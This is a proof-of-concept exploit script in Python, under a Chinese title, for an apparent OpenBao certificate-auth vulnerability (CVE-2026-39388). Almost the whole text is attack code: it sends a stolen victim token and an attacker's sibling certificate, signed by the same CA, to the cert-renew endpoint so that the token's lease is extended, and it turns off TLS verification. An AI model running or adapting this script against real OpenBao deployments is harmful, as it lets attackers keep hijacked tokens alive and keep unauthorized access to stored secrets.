CVE-2026-39388 OpenBao证书认证令牌续期漏洞

import requests # Conceptual PoC for CVE-2026-39388: Token Renewal with Sibling Certificate TARGET_URL = "https://openbao-target.example.com/v1/auth/cert/renew" VICTIM_TOKEN = "s.XXXXXXXXXXXX" # The token or accessor obtained by the attacker ATTACKER_CERT = "./sibling_cert.pem" # Certificate signed by the same CA, different role ATTACKER_KEY = "./sibling_key.pem" def exploit(): headers = { "X-Vault-Token": VICTIM_TOKEN } # Payload to renew the token payload = { "increment": "3600" # Extend lease by 1 hour } try: # Send renewal request using the attacker's sibling certificate # Normally this should fail if certificate binding was strict, # but the vulnerability allows renewal due to loose matching. response = requests.post( TARGET_URL, headers=headers, json=payload, cert=(ATTACKER_CERT, ATTACKER_KEY), verify=False # Ignore self-signed cert warnings for PoC ) if response.status_code == 200: print("[+] Exploit successful! Token renewed.") print(f"[+] Response: {response.json()}") else: print(f"[-] Exploit failed. Status Code: {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": exploit()